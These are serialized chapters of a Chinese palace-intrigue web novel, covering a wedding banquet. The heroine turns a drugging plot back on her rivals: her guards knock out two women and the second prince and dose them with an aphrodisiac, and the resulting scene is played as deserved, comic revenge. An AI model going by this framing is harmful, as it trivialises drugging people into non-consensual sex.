她说完脚步轻快的离开。
“婳姐姐,我好热啊。”躺在床上的吕静雅开始扯自己身上的衣服。
姜黎婳眉头一皱,伸手抓住了吕静雅的脉搏。
蓝雪玲听到里面的动静,往里面看了一眼,接着走进来,“姜黎婳,要怪只怪你自己贱!我只是想让大皇子看清楚你的真面目罢了!”
她抬手要关门,忽然人被大力打了一下后颈,直接晕了过去。
姜黎婳听到动静,直接坐了起来,看到来人,她眼底闪过一丝诧异,“你怎么来了?”
“我好歹是堂堂...”
“别废话,先帮我把静雅带走。”姜黎婳说着托起吕静雅,冷声道:“静雅中了药,不能回宴会了,你想办法帮我把静雅带出府去。”
“我怎么带出去!”赵旭庭无语的看着姜黎婳,“我好心来救你,结果你恩将仇报,给我一个烫手山药啊?”
“帮不帮?”姜黎婳沉下脸。
赵旭庭皱眉看着姜黎婳,“我人生地不熟的,怎么帮?”
冽风不知道从哪儿冒了出来,沉着脸对赵旭庭道,“跟我来。”
第85章 以其人之道还治其人之身
姜黎婳一直都知道楚御礼的那些暗卫总是神出鬼没的,虽然先前她并不确定他们是不是在暗中观察她的一举一动保护着她,但现在确定了。
她看了冽风一眼,问,“还有其他人吗?我还想用一下其他人。”
姜黎婳话音刚落,一个容貌平平,那种见面之后转身就能把他容貌忘掉的男人出现在姜黎婳面前,“大皇子妃有何吩咐?”
赵旭庭不可置信的看着忽然出现的两个暗卫,他想对姜黎婳说什么,不远处传来了说话声,姜黎婳看向他,沉声道:“去墨宝斋,照顾好她,我这边处理好就过来。”
“表姐...我好热...”吕静雅又开始扒拉自己的衣服。
姜黎婳回头看了吕静雅一眼,眉头紧蹙,“多给她喝水喝降温,别让她在冷水里面泡太久,以免伤了身子,剩下的交给你了。”
她说完看了冽风一眼,“带他们出去。”
冽风没作声,看了赵旭庭一眼,后者听着越来越近的脚步声,对姜黎婳说了句,“真是欠你的!”
大步走到床边一把抱起躺在床上扯自己衣裳的吕静雅转身跟着冽风大步离开。
他们刚走,姜黎婳让另一个暗卫把蓝雪玲抱起来丢床上,自己则转身把门关上,做好一切后,姜黎婳问,“你叫什么名字?”
“沉鹤。”沉鹤与冽风一样面无表情。
姜黎婳颔首,直接吩咐,“沉鹤,一会儿他们进来之后,直接动手敲晕。”
沉鹤点头应下。
姜黎婳转身走到门后等着他们自投罗网。
......
苏清欢瞧着走在自己前面步伐飘浮的男人,嘴角勾起一抹得逞的笑意,姜黎婳、吕静雅今天我就要你们两个人身败名裂!
楚明暄快要走到客房的时候,回头看了苏清欢一眼,他蹙眉,“真的是姜黎婳让你来找我的?”
“千真万确,妾身怎敢欺瞒殿下?”苏清欢这时候是一点都不怕,因为她刚刚不过是在这二皇子从婚房出来去前院的必经之路上说了一句,这姜黎婳让我去找二皇子见她,我要怎么给二皇子说啊?
这二皇子听了她的话就自己上前来问她姜黎婳为什么要见她了。
可见这二皇子早就打起了姜黎婳的主意了。
所以她不相信一会儿他看到姜黎婳衣衫不整的躺在床上时,他不心动!
楚明暄闻言脚下的步子更快了一些,走到客房院外,他停顿了片刻,皱起眉头问苏清欢,“这里面?”
“自然。”苏清欢催促,“二皇子快去吧,想必大皇子妃是有话要对你说。”
“哼,小娘们儿。”楚明暄不着急了,她伸手捏住苏清欢的下颚,冷笑,“你真以为孤是蠢货?若你不说怎么回事,孤可就要喊人了,已婚妇人在孤的婚宴上勾引孤,你说你的下场是什么?”
苏清欢瞧着忽然变脸的楚明暄,她有些畏惧的吞了吞口水,还不等她解释,楚明暄就冷笑道:“以你和姜黎婳的关系,她会让你传话?你当孤眼瞎吗?”
他认识自己!
她忘了,先前在二皇子府大门外,萧景宴与楚明暄寒暄之际,楚明暄曾不经意地朝她投去目光看了两眼。
苏清欢的手指有些紧张地捏了起来,若是让萧景宴知道自己惹了这二皇子,回去定然没有好果子吃。
“我给姜黎婳下了药,知道二皇子对她感兴趣,所以请二皇子过来的!”苏清欢双手死死的握着,露出憎恶的神色,“我就是要毁了姜黎婳!现在姜黎婳就在里面,二皇子进不进去,您说了算。”
楚明暄嘴角一勾,他松开禁锢着苏清欢下颚的手,轻笑,“这才乖嘛,你放心,本皇子若是得手了,少不了你的好处。”
他说罢抬步朝院内走去。
新婚之日能和貌美如花的嫂嫂共赴巫山云雨,对他来说无疑是一桩刺激爽快的美事啊。
毕竟那个夜叉又不是他想娶的,等事成之后,他就说是姜黎婳勾引的他,到时候他最多被父皇训斥,而姜黎婳那个女人若是被处置,他也不是不可以暗中救下她,用一个笼子养着。
想到自己即将得到一个绝色的美人,楚明暄心都越发激动,脚下的步子都快了很多。
苏清欢看着楚明暄的背影眼底闪过一丝快意,她就说喜欢刺激的二皇子,怎么可能会放过这么好的机会!
楚明暄站在客房门外,深深地吸了口气,接着搓手对着里面低声道:“小美人儿,我来了。”
他伸手推开门就看到了床榻上躺着的那位身穿粉色衣裙的女人,他眼睛一亮,抬步走了进去,他刚要转身,沉鹤一个手刀直接敲晕了他,给赵旭庭引路回来的冽风也扛着被他敲晕的苏清欢走了进来。
姜黎婳挑眉赞赏的看了冽风一眼,让他们把人都丢到床上,“你们有助兴的东西吗?”
冽风:“.......”
沉鹤:“.......”
您看我们像那么不正经的人吗?
姜黎婳撇嘴,“那你们去凉亭那里看看,刚刚那个婢女给我和惊讶准备的茶水还在不在。”
冽风默默转身,“属下去找助兴药。”
那种作为证据的茶水,那个婢女肯定处理掉了,怎么可能还留着。
一盏茶的工夫不到,冽风回来了,他拿了一个瓷瓶递给姜黎婳,后者面无表情的看着他,那意思再明显不过,就是在问他,还需要她亲自动手吗?
冽风认命的上前把瓷瓶放在三人鼻尖前面让三人一人闻了几息。
直到三个昏迷的人开始不自觉的伸手扯衣服了,他才站直身子,回头看向姜黎婳。
姜黎婳瞧着和自己演默剧的人,头一偏,还不走?想看戏吗?
她率先转身离开了房间,往婚房走去。
跟着姜黎婳走出客房的两人,在把客房门关上后,又消失不见了。
姜黎婳回头看了一眼空空如也的院子,再次感叹,这小说里面的暗卫,真的是小说的大漏洞!怎么会有这么神出鬼没的存在?
她大步往婚房的方向而去。
婚房中,楚明珠正在和鲁卿秋说话,看到姜黎婳走进来,她赶紧站起来向姜黎婳招手,“大皇嫂快来。”
鲁卿秋对着姜黎婳笑了笑,起身对姜黎婳见礼,也跟着喊,“大皇嫂。”
姜黎婳伸手把鲁卿秋扶起来,“大喜之日别这么客气,才十几日不见,瞧着你是瘦了一大圈。”
“都是托了大皇嫂的福,我没再吃甜食,效果特别显著。”鲁卿秋嘴角微扬,轻声道,“不然今日我恐怕会更加难堪。”
姜黎婳眼中闪过一丝疑惑,“发生了什么事情吗?”
一旁的楚明珠率先替鲁卿秋打抱不平了,“二皇兄只用秤杆挑开了二皇嫂的盖头转身就走了!连合卺酒都没有和二皇嫂喝,让好些人都看了二皇嫂的笑话!简直太可恶了!”
这些话楚明珠肯定是不敢当着楚明暄的面说的,但现在楚明暄不在,她还是敢大胆发言的。
姜黎婳看向鲁卿秋,笑了笑,“你在意吗?”
鲁卿秋含笑与她对视,没回答。
合卺酒代表夫妻永结同心、同甘共苦、夫妻相连、彼此扶持...她和楚明暄的确不适合喝合卺酒。
第86章 你们竟然对孤做出这种不要脸的事情
鲁卿秋虽然没有说,但姜黎婳却从她的目光中看出了她的意思。
不知道为什么,虽然她知道鲁卿秋是母后特意给二皇子安排的皇子妃,也知道这鲁卿秋是母后的人,但是,她总觉得一个掌家小姐应该不会因为一些小恩小惠就搭上自己的一身,她也不相信母后对这鲁卿秋有救命之恩...
她看鲁卿秋也不像是因为害怕自己嫁不出去就把自己嫁给一个渣男的那种浅薄女子。
她总觉得这鲁卿秋对二皇子有些恨意在身上。
但这是为什么?
一直没什么存在感的楚明月这时候问,“咱们要回前院了吗?”
楚明珠撇嘴,“去了还不是吃东西,你没吃过那些东西?”
楚明月被楚明珠刺了一句,当下脸颊羞红,她低头咬了咬嘴唇,低声道,“那咱们也不能在这儿打扰二皇嫂休息呀。”
鲁卿秋笑了笑,她抬手开始拆自己头上的凤冠,“没事儿,你在这儿也正好陪我说说话。”
楚明月没说话了。
楚明珠笑嘻嘻的上去要帮鲁卿秋,鲁卿秋因为她们在房中,并未叫婢女进来伺候,见楚明珠要帮忙,她也没有拒绝。
楚明珠一边帮她取下发钗,一边问已经坐在桌边喝茶的姜黎婳,“大皇嫂你刚刚去哪儿了?吕小姐呢?”
“刚刚看热闹的人太多了,我们就去随便走了走,静雅现在应该去找孟夫人了。”因为和苏家没了关系,姜黎婳在外人面前也没有再喊孟雪莲为舅母。
三人陪鲁卿秋闲聊了片刻,正欲起身告辞,后院忽响起喧嚣声,声声嘈杂中还夹杂着阵阵怒斥。
姜黎婳皱着眉头起身往外看去,语气中带着疑惑,“何事如此喧闹?”
鲁卿秋也皱眉站了起来。
楚明珠抿嘴,“谁敢在二皇兄大喜之日闹事啊?”
楚明月跟着站起来,低声道:“好像有二皇兄的声音。”
“去看看。”鲁卿秋抬步就往外面走,姜黎婳立刻抬步跟上,楚明珠也兴奋的抓住楚明月的手跟在两人身后。
客房院中。
看热闹的人群中,定国公夫人曹氏和吕氏还有蓝雪玲的母亲韦氏看到眼前这一幕,只觉得眼前一黑,曹氏几乎是在晕过去的前一瞬间强提起精神扑到房中,一把揪起苏清欢的头发就朝床下扯...
“贱人!你这个贱人!你竟然敢做出对不起宴儿的事情!”曹氏才不管苏清欢此时有没有穿衣裳,她在苏清欢身上又打又挠,是巴不得立刻把苏清欢打死。
韦氏想要上前拦住那些望着屋中光景的人群,但人太多,她根本拦不住。
这是怎么回事啊!
女儿一进二皇子府就去找苏清欢,中途也不知道在和苏清欢说什么,两人一直神神秘秘的,最后竟然做出这种三人行的事情!
吕氏站在人群中已经忘了反应了,她在想,苏家可能完了!
楚明暄已经穿好了亵衣,他此时也顾不得让人滚开,他转身一脚踢在苏清欢身上,厉声骂道:“贱妇,你们设计孤!”
说什么姜黎婳在客房等他,等他进来,这个贱妇竟然把他弄晕...强上了!
他的一世英名毁了!
“你说你是不是喜欢孤?”楚明暄一边踢一边骂,“看到孤成亲了,你按捺不住了,要在孤洞房花烛前得到孤是不是?”
苏清欢还在承欢之后的空白状态就被人撞破,接着她还没反应过来就看到一群人在门外,而曹氏更是直接冲了过来对她又打又骂,现在又被楚明暄又踹又骂,她更是一句话都说不出来。
苏清欢只能无助地拼命摇头,心中满是困惑与不解,这究竟是怎么一回事?
“贱人!孤就是成亲了也瞧不上你这么丑的女人!”楚明暄又踹了苏清欢一脚,冷声道:“你们竟然给孤下药!不要脸!死不要脸!”
“我没有!”苏清欢拼尽全力推开还在大骂自己的曹氏,往旁边躲开楚明暄踹过来的脚,“我没有!”
蓝雪玲已经被吓疯了,一直捂着头尖叫。
她不干净了!
她不能嫁给大皇子了!
怎么办?
她猛地偏头看向苏清欢,双目憎恶,“苏清欢!你害我!”
众人把目光都放在了苏清欢身上。
“怎么回事?”鲁卿秋清冷的冷声在门口响起,随着她开口,那些看热闹的夫人小姐们自觉地让出一条路来,原本嘈杂的场面一下子就安静了下来。
众人几乎把所有的目光都放在了三年不曾露面,如今大变样的鲁卿秋身上。
鲁卿秋瞥见地上蜷缩着的两位衣不蔽体的女子,她眉头轻蹙,沉稳下令:“来人,为孟小姐与萧世子夫人更衣。”
众人瞧着在新婚之日面对丈夫偷腥场景还能如此镇定处事的鲁卿秋,瞬间对她刮目相看了。
单看这一份镇定,就是一个很不错的当家主母!
站在鲁卿秋身后的姜黎婳也对鲁卿秋有了新的认识。
她果然厉害。
鲁卿秋抬步走进屋中,看了一眼只穿着亵衣的楚明暄,回头对自己的陪嫁嬷嬷道:“让前面观礼的福清公公入宫给父皇和母后说一下情况。”
楚明暄刚要开口,鲁卿秋就回头看向了他,“此事最后还是会传入父皇母后耳中,现在让人去说明情况,或许比旁人传到父皇耳中要好许多。”
楚明暄没再说话,鲁卿秋又道:“事关两位女子的清白,去把孟小姐的父亲和祖父请过来,至于萧世子夫人...”
鲁卿秋看了一眼还在人群中发呆的吕氏,轻声问:“吕夫人,这件事情既然曹夫人已经知道了,那还是请萧世子过来,你们苏家的人最好也...”
“是姜黎婳害我的!”刚被婢女伺候着穿好衣裳的苏清欢忽然恶狠狠地瞪着站在人群中的姜黎婳,她抬手指向姜黎婳,眼神怨毒,“是姜黎婳故意设计我们的!”
姜黎婳笑了,她睨着苏清欢,眼里的轻蔑之意呼之欲出,“你的意思是说,我把你和孟小姐骗到了这客房中,再把二皇子请来的?”
苏清欢双目猩红,她嘶声吼道:“没错,就是你!就是你害我们的!”
“真有意思。”姜黎婳轻笑,“证据呢?我是怎么害你们的,说来听听?”
“够了!”曹氏抬手一巴掌落在苏清欢脸上,厉声骂道:“你还嫌不够给我们国公府丢人吗!贱妇!你到现在还敢攀咬大皇子妃!”
楚明暄若是睡到了姜黎婳,那他就算是被看笑话,也无所谓,但他竟然被苏清欢这个贱妇给设计了!
这口气,他咽不下去!
“贱人!孤从婚房出来,是你在半路拦住了孤的去路,非说有话要和孤说,孤和你过来了,就感觉浑身燥热,你现在还要狡辩!”楚明暄痛心疾首,怒不可遏,“孤就不该这么轻易相信女人!你们竟然为了得到孤,在孤的婚宴上对孤做出此等不要脸的事情来!”
第87章 楚御礼:长兄如父,你有意见?
因为楚明暄这句话,曹氏更疯了,此刻,双目通红憎恶的看向呆立人群中的吕氏,怒声骂道:“这就是你们苏家教的好女儿!表面知书达理,看似温婉贤淑,实则蛇蝎心肠,还水性杨花!”
吕氏张了张嘴,她想要替苏清欢说话,但是不知道为什么,她感觉自己的嗓子像是被什么东西粘住了一样,根本说不出任何话来。
楚明暄也赞同跟着点头,“就是!贱妇!都成亲了还设计孤!孤虽然长得英俊潇洒,也风流倜傥,但是也看不上你这种有夫之妇的!”
苏清欢闻言脑海中闪过上一世的种种,又想起先前楚明暄是为什么被禁足的,她知道自己今天肯定完了,即便是回到国公府肯定也会休,甚至可能更惨。
她忽然疯狂的哈哈大笑出声,她指着楚明暄,冷笑,“瞧不上我?你玩过的有夫妇之妇还少吗?你忘了你就是因为强迫了有夫之妇,还害死了人家夫妻,才被禁足的吗?”
她说完指着骂她的曹氏,厉声道:“还有你曹氏!你说我蛇蝎心肠?和你比起来,我不过是一只蝼蚁,你瞧瞧你手上的那串佛珠...”
“苏清欢。”冷漠平静的话打断了苏清欢的‘做法’。
苏清欢的话语因为这句轻唤全部卡在了喉咙,她几乎是下意识的往后退了一步,眼神有些恐惧的看着萧景宴,“世子...”
楚明暄和曹氏看到萧景宴过来了,皆是眼睛一亮,楚明暄先道,“景宴啊,你总算来了,今天这事儿可真的不怪孤,孤也是信了她的话,才会过来这客房啊!谁知道这娘们儿她竟然对我心怀不轨!”
他看到姜黎婳身上水蓝色的长裙这才想起他推开房门的时候看到床上的女人穿着的事粉色的衣裙,他自己就是被这两个喜欢他的女人给算计了!
这两个女人肯定是喜欢他,所以看到他成亲之后,就故意设计陷害他,想报复他!
曹氏也急忙道:“宴儿,这种女人我们萧家是绝对不能要的了!休妻!休了她!让苏家送她去尼姑庵当姑子!”
“我不要!”苏清欢听到这里她着急了,她抬眸看向萧景宴,嘶声道:“我是被陷害的!是姜黎婳害我的!我有证人!蓝雪玲就是证人!还有...还有那个叫喜儿的婢女也是我的证人!”
蓝雪玲之前还是女儿身,现在遭受了这种事情,还被这么多人围观,精神早已经崩溃了,若不是被韦氏抱在怀中,这时候怕是早已经倒在地上了。
韦氏不想要女儿留下勾引有妇之夫的骂名,只能哭着问怀中的女儿,“她说的是真的吗?”
蓝雪玲不知道事情为什么会变成这样子,但是她清楚的记得之前发生的种种,是她们在设计姜黎婳,她们想要姜黎婳身败名裂被大皇子厌弃!
她目光朝姜黎婳看去,正好和姜黎婳看她的目光撞到了一起,姜黎婳对她微微笑了笑,但没说话。
苏清欢已经失去神志了,她就看这蓝雪玲是不是也要咬她,若真的这样的话,她倒是不介意与她们玩一下。
蓝雪玲摇头,“我不知道,我只知道清欢姐姐让我跟她到后院走走,后来感觉后颈一痛,整个人失去了知觉,再醒来就这样了。”
“你娘的胡说!”楚明暄气得吐了唾沫,大骂道:“你的意思是说孤强你了?去你娘的吧!你忘了你抱着孤的样子了!如果是昏迷不醒的‘尸体’你还有力气抱着孤?你还会配合孤?你娘的,你们都给老子用药了,还在这儿狡辩!”
姜黎婳抬了抬眼皮,嘴角勾起一抹淡漠的笑意,看来不用她出手,这楚明暄会主动帮她对付这两人。
众人进来的时候,床榻上的场面的确有一点乱,瘦弱的二皇子根本不能同时满足两个人,那缠绵的模样,真的有些辣眼睛。
这时候从吩咐了人去找两个女眷的家属之后就一直没说话的鲁卿秋又站了出来,她抬眸冷静的看了一眼如同市井妇人一样跟着两个女子争论的二皇子,淡淡道:“殿下休息一下吧,这地方实在是污秽,不是说话的地方,大家移步前厅吧。”
“孤的事情何时轮到你一个女人做主了!”楚明暄不悦的蹙眉看向鲁卿秋,“孤告诉你,即便是孤娶了你,你对孤来说,也不是女人!孤也不会碰你的!”
这就是在当众羞辱鲁卿秋了。
人群也一下子安静了下来。
鲁卿秋的脸上闪过一丝难堪,眉头也轻轻的皱了皱,很快她吸了口气,镇定的看向楚明暄,“那我也是二皇子妃,是二皇子府的当家主母,您做出丢人的事情,我就应该善后!”
“孤说了,你少管孤的事情。”楚明暄脸色阴沉的看着鲁卿秋,厉声道:“若不是父皇下了圣旨逼着孤娶你,你以为孤会看得到你这么个男人...”
啪!
一个清脆响亮的巴掌打断了楚明暄的话。
楚明暄捂着自己的脸,抬头憎恶的看向打自己巴掌的人,厉声骂道:“你敢打我?”
“长兄如父,现在父皇不在,孤这个皇兄就替父皇好好地管教管教你。”楚御礼冰冷的看着楚明暄,语气冷静的问,“错了没有?”
“什么错没错,我...”
啪!
又是一巴掌。
楚明暄原本带着五个巴掌印的脸立刻肿了起来。
当然,这是拜楚御礼最近一直在锻炼和练武所赐。
“楚御礼你疯了!你敢打我!”楚明暄双目通红,眼底浮出杀意,“你信不信...”
楚御礼抬手又要打,楚明暄吓得后面的话不敢说了,抬手捏住楚御礼的右手,他嘴角一动,刚要冷笑,楚御礼左手一巴掌狠狠地落在他脸上,又问,“错没有?”
另外一张脸也留下五个指印还有点微肿的楚明暄红了双眼,“我错在哪儿了?今天这不是我的错!我也是被这两个贱人陷害的!”
“这件事情先不论对错,你公然对着这么多人的面不敬自己的妻子,抗议父皇的赐婚圣旨,这就是不孝不悌!你还说没错?”楚御礼打了三个巴掌,心头的气依旧没有消散,他抬手还要打,楚明暄往后退了一步,大声嚷道:“我错了!我错了还不行吗!”
他捂着脸低骂了一句,“真是多管闲事。”
楚御礼却没看他,而是对着鲁卿秋道:“你是父皇给他赐婚的二皇子妃,若受了委屈,大可进宫找父皇和母后替你做主。”
鲁卿秋站了出来,她对楚御礼福了福身子,轻声道:“多谢大皇兄,二皇子是如何荒唐的妾身一直都知道,父皇母后赐婚也是想要我管住二皇子,若是为了这点小事就去找他们做主,岂不是辜负了他们的看重。”
第88章 姑奶奶我求你别这样对我啊
鲁卿秋说到这里转身对着楚明暄笑了笑,楚明暄蹙眉,正要说你就算朝孤笑得再温柔,孤也不会喜欢你的!鲁卿秋却比他快一步开口,“妾身也不是因为喜欢二皇子才嫁给二皇子的,所以二皇子碰不碰妾身对妾身来说并不重要。”
鲁卿秋环顾了一周,她把目光落在瑟缩在韦氏怀中的蓝雪玲身上,“二皇子喜欢温柔小意容貌漂亮的女子,以后通房侍妾定然不少,那庶子庶女也一定会有,本宫届时都会把他们记在名下,让他们成为本宫的嫡子,自然也不用担心子嗣的问题了。”
“你!”楚明暄也是第一次见一个女人在自己新婚当日说不稀罕丈夫的亲近,以后要把庶子全都记在名下的...
他一时之间还真不知道自己该说什么了。
“这是怎么回事!”一声怒喝从人群后响起,“二皇子你最好给臣一个交代!”
楚御礼瞧着人到齐了,他冷嗤,“楚明暄,皇室的脸都被你丢尽了。”说罢他转身走到姜黎婳面前朝姜黎婳伸手,“今日这喜宴应该是吃不成了,饿不饿?我们回府吃?”
姜黎婳把手放在楚御礼掌心,轻笑着摇头,“不饿,刚刚吃瓜吃饱了。”
楚御礼听着她冒出来的这话,抬了抬眼皮,等理解到她话中的意思,他轻笑了一声,“那还继续留下吃瓜?”
姜黎婳嫌弃的拒绝,“再看下去就撑吐了,咱们走吧。”
最重要的是,墨宝斋还有静雅在等她啊!
姜黎婳跟着楚御礼要走,人群让出一条路,苏清欢见状瞪眼要喊姜黎婳,她还想说自己是被姜黎婳陷害的,但是却被萧景宴警告的眼神逼着把到嘴边的话吞了回去。
刑部尚书蓝天群看到眼前这一幕,只觉得眼前一花,他把孙女培养得这么好,与女儿这些年的筹谋就是为了让孙女嫁给外孙!将来大皇子一死,二皇子德不配位,他的外孙即位,外孙女就是名正言顺的皇后!这楚国就是他们蓝家的天下了!
可现在怎么会变成这样!
他浑浊的双眸刹那间变得通红,脸色更是铁青,他手指直指二皇子,厉声质问,“二皇子!这是怎么回事?”
楚明暄这些年嚣张惯了,此时见到一个尚书敢这样质问自己,他脸色当即沉了下来,语气轻蔑,“什么怎么回事?你说的是你孙女给孤下药,要孤在新婚之日与她们两个女人颠鸾倒凤的事情吗?”
蓝天群闻言,只觉脑后一阵剧痛袭来,他忙伸手扶着后颈,怒斥道:“一派胡言!玲儿品性如何,我等岂会不知!她岂会行此等有辱门楣的丑事!”
“知人知面不知心,谁知道你们蓝家的女儿是什么样的人!”楚明暄哼了一声,语气轻蔑,“反正孤今天是被陷害的,她就是要嫁给孤,孤也只能让她当个侍妾通房的,我可不喜欢她这种身材清瘦,要什么没什么的人!”
“你!”蓝天群在朝中经营这么些年,为了外孙将来能登上那个高位,这些年他严苛律己,更是把家中的人管得很紧,不准他们做出任何违法乱纪的事情来,他更是除了家中老妻,没有同房侍妾,这些年还从未听过这种不要脸之词。
此时听了楚明暄这话,顿时觉得颜面尽失,他怒意涌上心头,正要怒斥,就见鲁卿秋站了出来,道:“此事关乎两家与皇室的颜面,本宫觉得还是交由父皇定夺最好。”
她目光落在蓝天群脸上,“若继续再争吵下去,只会让人平白让人看了笑话,蓝大人你说是不是?”
站在人群后方还未走远的姜黎婳听到她这话,嘴角微微翘了翘,鲁卿秋果然适合当当家主母,若她是真心实意的嫁给楚明暄的,那楚明暄还真是捡到宝了。
她松开楚御礼的手,转身朝站在人群后方的孟雪莲走去,孟雪莲瞧她走过来,正要给她见礼,姜黎婳就拉住了她的手,轻声道:“舅母,咱们一同走吧。”
孟雪莲微微一怔,正要说话,姜黎婳又道,“静雅有事先走了。”
“这孩子定然又去书坊斋了。”孟雪莲笑骂了一句,接着道:“这喜宴今儿个怕是吃不成了,那咱们一起走吧。”
墨宝斋客房中。
喝了不少温水的吕静雅依旧在伸手扯自己身上的衣裳,赵旭庭被吓得又把她的衣襟给拉上去,欲哭无泪的说道:“姑奶奶啊,我求求你了,你别这么对我啊!我还是一个黄花大闺男啊!”
他给吕静雅拉衣服的手不小心碰到了吕静雅的脸颊,吕静雅感受到了他手上冰冷的弧度,立刻伸手捧着他的手放在自己的脸颊上,她眼神迷离的抬眸看了赵旭庭一眼,傻傻一笑,“好凉快啊。”
赵旭庭被吓得赶紧抽自己的手,“啊啊啊!你别这样啊!”
怎么办,他感觉自己好像不干净了!
他的手连自己喜欢的人都没有牵过!
“佟掌柜!水还没有准备好吗?”赵旭庭朝着外面大声嚎叫,一边要防着吕静雅扯她自己的衣裳,一边还要防着吕静雅拉他的手去给她的脸降温。
吕静雅因为身体燥热,赵旭庭又不愿意把手给她,她委屈的红了眼,有些娇憨的望着赵旭庭,“我热...”
赵旭庭:“......姑奶奶,我怕....”
吕静雅又开始扯自己的衣裳,赵旭庭吓得赶紧伸手给她拉上,然后认命的闭上眼把手往前一递,捧着吕静雅的脸,唉声问,“可以了吗?可以别扯你的衣服了吗?”
吕静雅感觉到脸上的温度立刻舒服的眯上眼睛,但是没有一会儿她又开始扯衣裳了,嘴里嘟囔道:“不凉快了!不凉快了!”
赵旭庭拉着她乱扯的双手,“姑奶奶啊!我求你了啊!你别当着我的面这样乱来啊!会毁了我的名声的!”
“姜黎婳你到底为什么要把这个烫手山芋丢给我啊!”他哀嚎了一声,双手抓住吕静雅的手,“等一下,等一下给你水!”
“佟掌柜,冷水,用冷水,有温度的不行!”
这时候佟掌柜推开门,“准备好了加冰的水,这吕小姐中了药,用温水肯定不行,但是就像东家说的,一直泡在冰水中,对她身体不好...”
佟掌柜有些为难的看着赵旭庭,“赵少爷,您说怎么办?”
“我怎么知道怎么办!”赵旭庭快哭了,他总不能把人放在水中又捞起来吧!
那样和把人家看完了有什么区别?
别到时候好人没做成,反而被当成了登徒子!
“你这儿没有婢女吗?借来用用啊!”赵旭庭有些无语,“姜黎婳怎么还不来!”
佟掌柜为难,“这事儿东家可能不想让更多的人知道,所以才把人交给您的...”
再说他们这种铺子哪儿来婢女啊...
“我真是欠她的!”赵旭庭说罢,看了一眼脸已经红得不正常的吕静雅,然后下定决心的闭上眼睛道,“不管了,先救人吧!”
第89章 赵公子,孤听娘子提起过你
赵旭庭弯腰毫不费力地将吕静雅抱起来,转身进了内室,轻轻地将她放入了装满冷水的浴桶中。
浑身燥热难耐的吕静雅在接触到冷水的那一刻感觉自己的所有毛孔都被冷水侵袭,但是外体的燥热和内里的燥热不同,身上的燥热可以用冷水抚平,内里的燥热让她身体难受不已。
她抬手想要撕扯自己的衣裳,人也开始在水中扭动,她不再满足于外体的凉爽,抬手抓住转身打算出去的赵旭庭,睁着两只湿漉漉的眼睛望着他,“求你,帮帮我好不好?”
她衣裳被打湿,凹凸有致的身材尽显眼前。
赵旭庭刚转过身,就看到了这一幕,他怔愣了瞬间,连忙紧闭双眼,双手也不自觉的紧握成拳,声音中带着一丝慌乱,“姑奶奶,你先冷静一下,放开我,这种事情我真的无能为力!你行行好,放我出去,行不行?”
听到赵旭庭不愿意帮自己,吕静雅本就湿漉漉的眼睛就更湿润了,眼泪更是直接从眼眶里面滚落了出来,“可是,我好难受。”
“那我也没办法啊!”赵旭庭感觉自己快要疯了,他先前到底是哪根筋没有搭对要答应姜黎婳这种请求啊!
现在好了,搬起石头砸自己的脚!
吕静雅现在已经完全被那种药控制了意识,她只感觉自己浑身难受,就想找点慰藉,其他的她根本无法思考,她感觉到这人在拒绝她,她心头委屈,干脆直接站起来就要去亲赵旭庭,赵旭庭被她这个动作吓了一跳,几乎是下意识的伸手扯开吕静雅转身就往外跑。
他跑出去正好和带着人过来的姜黎婳撞了个正着,“哎哟!”
他及时刹住脚步,看清来人,他立刻露出幽怨又委屈的眼神,哭丧着脸道:“小花儿!你要补偿我!我的清白差点就被毁了!”
姜黎婳还没说话,她身后的楚御礼先开口了,“娘子,这位是?”
他的手牵着姜黎婳的手,微微偏头,眼中带着疑惑,嘴角勾起一抹浅淡的弧度,这宣示主权的态度不要太明显。
孟雪莲在来的路上已经听姜黎婳说了今日事情的大概,在楚御礼说话的间隙,她已经跨进屋内去看女儿情况如何了。
姜黎婳也没时间看楚御礼在这时候争风吃醋,回眸看了他一眼,“我去看看静雅。”
姜黎婳走进去,直接把赵旭庭推出来关上门,两个动作一气呵成。
被推出来的赵旭庭看着紧闭的房门,他眼角抽了抽,这还真的过河拆桥,翻脸不认人啊!
回头正好和楚御礼那可以称得上带冰的眼神对上,赵旭庭心头更是无语,他往后退了一步,对楚御礼抬手躬身,“在下赵旭庭,见过大皇子殿下。”
“你就是赵旭庭。”楚御礼露出恍然大悟的神情,抬手虚扶了赵旭庭一下,“孤听说过你,婳儿时常提起你,说你们以前时常一起玩,如同亲兄妹。”
赵旭庭在心头翻了个白眼,去你的亲兄妹,说得好像你多了解她一样...
姜黎婳对她哥可比对他好多了。
“我与小花儿感情的确不错,但是比起亲兄妹还是差远了。”赵旭庭含笑对上楚御礼冰冷如霜的眼神,嘴角微扬,“之前听说大皇子爱妻如命,我还以为小花儿有大皇子保护,不会受到任何伤害呢,今日来看,大皇子你似乎也不能保证小花儿安全无虞啊。”
楚御礼面色一沉,语气也变冷了,“今日即便不是赵公子,婳儿也不会受到任何伤害。”
他一直安排了冽风和沉鹤在暗中保护婳儿,如果不是这赵旭庭忽然出现,今天婳儿也不会出任何事情的,冽风和沉鹤也说了,之所以一直没有出现,不过是因为害怕破坏了婳儿的计划罢了。
“你怎么就知道她不会受到伤害?”赵旭庭冷哼了一声,“如果不是我把那个女人敲晕了,你...”
“赵公子多虑了。”楚御礼冷冷的打断赵旭庭的话,冷声道:“孤的娘子,孤自然会护好,且孤信任她,她绝对不是那种需要我自作主张帮她的人,她若需要孤,自然会喊孤。”
这就是在怪赵旭庭多管闲事了。
赵旭庭还要说话,这时候房门被拉开,姜黎婳径直对楚御礼道:“殿下,让人去抓药。”
说着把手中的药方递给楚御礼,关上门又进去了。
楚御礼接过来,直接喊,“昭临。”
一直在楼下待命的昭临闻言快步上来,“主子。”
“去抓药。”他把药方递给昭临,“要快。”
昭临接过药方大步离开。
赵旭庭看着这一幕只觉得心头很不是滋味,小花儿好像挺信任这个新婚丈夫的,他皱了皱眉头转身欲走,楚御礼又喊住他,“今日之事虽然是赵公子多此一举,但你依旧是好心,孤替娘子多谢赵公子的出手相助,改日孤会在聚香楼设宴答谢赵公子今日的好意。”
赵旭庭眼睛眯了眯,接着抬眸看向楚御礼,笑道:“大皇子客气了,在下与小花儿之间的关系没必要计较这些,再说帮她我亦心甘情愿,告辞。”
他说完不等楚御礼开口,转身大步离开。
楚御礼转身看着他下楼的背影,眼中冷意散去,眼睛微微眯起。
这个赵旭庭喜欢婳儿。
绝对不是婳儿说的那种单纯把她当妹妹的。
“小花儿。”楚御礼轻轻咬着三个字,最后用舌尖递了递上颚,轻笑,“叫得真亲密。”
